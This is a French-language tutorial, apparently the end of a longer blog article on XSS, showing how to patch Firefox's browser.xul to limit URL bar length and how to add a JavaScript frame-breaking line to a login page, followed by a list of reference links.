Certes réduire la taille des scripts n’est pas seulement la sécurité à adopté contre ce genre de techniques mais cela réduit le nombre infiniment grand d’obfuscation possibles des scripts potentiellement malicieux. En soit le plugin noscript forme la première sécurité en termes de filtrage url mais il n’est pas intégré nativement dans firefox . Donc je vous propose un petit tuto pour patché firefox et réduire la taille du contenu inséré dans l’urlbar a 1000.Si le coeur vous en dis vous pourrez rajouter des protection un peu plus avancées en rajoutant vos propres script partant de la meme technique.

La chance de Firefox est son potentiel énorme de bidouillabilité c’est pourquoi j’ai tenu a apprendre un peu les bases du  xul pour pouvoir patché. Et un tutoriel de browser reversing .

Nous allons essayer d’assigner une valeur maximale grâce a l’attribut maxlength dans la balise ayant pour id urlbar .

Etape 1 localisation et test temporaire

Naviguez à cet endroit et affichez la source:
chrome://browser/content/browser.xul

Faites en sorte d’afficher la source et lire l’adresse du fichier qui passe par le protocole jar:

Inspectez la barre d’url a l’interieur de la fenetre de navigation grace a firebug (http://getfirebug.com/)

Editez la balise textbox pour y inséré votre attribut (à savoir: lorsque la balise textbox est écrite dans fichier xul , ses attributs et caractéristiques  sont séparés par des retour à la ligne)

Vérifiez si sa marche temporairement en insérant un script de test de plus de 1000 caractères.

Etape 2 Extracting and reversing

La seconde étape va consister à extraire le contenu de l’archive jar (avec Winrar sur windows ,ou ark sur backtrack/attack vector -OS) dans ce tutoriel j’utilise AttackvectorOS , un OS que je suis en train de conçevoir et un firefox boosté en plugin de pentest web que je mettrais en ligne bientot.  Une fois l’archive extraite nous pourrons modifier le contenu du fichier browser.xul avec nottre valeur à ajouter:

maxlength= »1000″

Fermez toutes les instances de firefox.

Naviguez dans le dossier que vous avez pu localiser en étape 1 .

Extraire le fichier browser.jar dans un dossier de sauvegarde créé (dans l’exemple il est nommé backup) .

Naviguez dans le dossier extrait puis éditez le fichier nommé browser.xul avec un éditeur de texte (normalement le format xul est  enregistré au format ascii).

Recherchez la chaine ou une partie de chaine que vous avez pu identifier avec firebug en inspectant le fichier xul.  Dans l’exemple le bout de chaine est la balise textbox.

Modifiez le fichier en conséquence .

Etape 3 Compilation et/ou compression de l’archive JAR .

Maintenant que les modifications ont été effectuées il ne reste plus qu’a les appliquer , pour cela nous allons devoir compresser notre archive , pour cela rien de plus simple avec les logiciels de compression normaux qui prennent pratiquement tous en charge le format jar. dans ce cas c’est toujours avec ark, on va créer une nouvelle archive , y ajouter les dossier de maniere identique a l’originale de firefox ensuite nous sauvegarderons l’archive et il ne restera plus qu’a remplacer l’original et le tour sera joué.

Ajoutez le contenu du dossier backup créé précédemment a l’archive browser.jar  (celui ci dois contenir le dossier content de l’archive browser.jar extraite et modifiée)

Collez le nouveau browser.jar dans le répertoire chrome et pensez a renommer le fichier browser.jar original aux cas ou vous aurez fait une bourde.

Votre firefox a été patché avec succès vous êtes a l’épreuve des balles, désormais le nombre de caractère dans l’url seront réduits au nombre que vous aurez choisis.

3.b)Server patch :Frame Breaker -> How to break frames with javascript

Passons à la correction du coté serveur, le script ci-dessous est inspiré d’un script anti-pub,va permettre de redirrigé le document Framé ou Iframé par une quelconque personne malicieuse et donc cassé la frame (frame breaking) en redirrigeant le document directement vers la source de la frame ou de l’iframe. L’url du site malicieux  sera ainsi désobfusquée et donc identifiable. Vous pouvez placer ce script sur votre page de login par exemple.

Script de correction (pensez a l’intègrer dans les balises script appropriées  ou dans un fichier .js):

if (top.frames.length!=0) top.location=self.document.location;

3.b)Liens annexe/ Special thanks:

La section des remerciements sera la partie des liens annexes.

http://www.mozilla-europe.org/fr/firefox/

http://www.microsoft.com/france/windows/ie/

http://www.google.fr/chrome

Plugins de correction /debugging utilisés

Noscript :http://noscript.net/

Firebug : http://getfirebug.com/

Autres liens utiles et cités:

http://fr.wikipedia.org/wiki/JavaScript

http://actuel.fr.selfhtml.org/archives/docu/7.0/tecbbe.htm

http://www.google.fr/search?hl=fr&client=firefox-a&rls=org.mozilla%3Afr%3Aofficial&hs=V8j&q=correct+xss&btnG=Rechercher&

http://fr.wikipedia.org/wiki/XMLHttpRequest

http://www.journaldunet.com/developpeur/tutoriel/dht/070625-ajax-in-securite.shtml

http://julp.developpez.com/php/curl/#L3.1.2

http://www.manuelphp.com/php/function.mysql-connect.php

http://fr.wikipedia.org/wiki/Hypertext_Markup_Language

http://maps.google.fr/support/bin/answer.py?hl=fr&answer=29435

http://code.google.com/intl/fr/apis/earth/

http://fr.wikipedia.org/wiki/Kolmogorov

http://www.stetson.edu/~efriedma/cirincir/

http://fr.wikipedia.org/wiki/Th%C3%A9orie_algorithmique_de_l%27information

http://fr.wikipedia.org/wiki/Paradoxe_du_compresseur

http://fr.wikipedia.org/wiki/Carl_Friedrich_Gauss

http://mathworld.wolfram.com/CirclePacking.html

http://dean.edwards.name/packer/

http://fr.wikipedia.org/wiki/Keyhole_Markup_Language

http://code.google.com/apis/kml/documentation/

http://code.google.com/apis/kml/documentation/kml_tut.html

http://demonstrations.wolfram.com/2ByNDiskPackingParadox/

http://yehg.net/encoding/

http://www.ietf.org/rfc/rfc2397.txt

http://www.gnucitizen.org/blog/bugs-in-the-browser-firefoxs-data-url-scheme-vulnerability/

http://attackvector.lescigales.org/vectors/index.php

http://attackvector.lescigales.org/2009/05/16/how-to-prevent-frameiframe-injection-in-your-login-page/

http://xssed.com/article/29/Browser_Hijacking_Techniques_2009/

http://p3lo.blip.tv/file/2006110/

http://www.research.att.com/~njas/sequences/A093766

http://www.glype.com

http://fr.wikipedia.org/wiki/Cross-site_scripting

http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

http://www.maxmind.com/

http://ha.ckers.org/

.p3Lo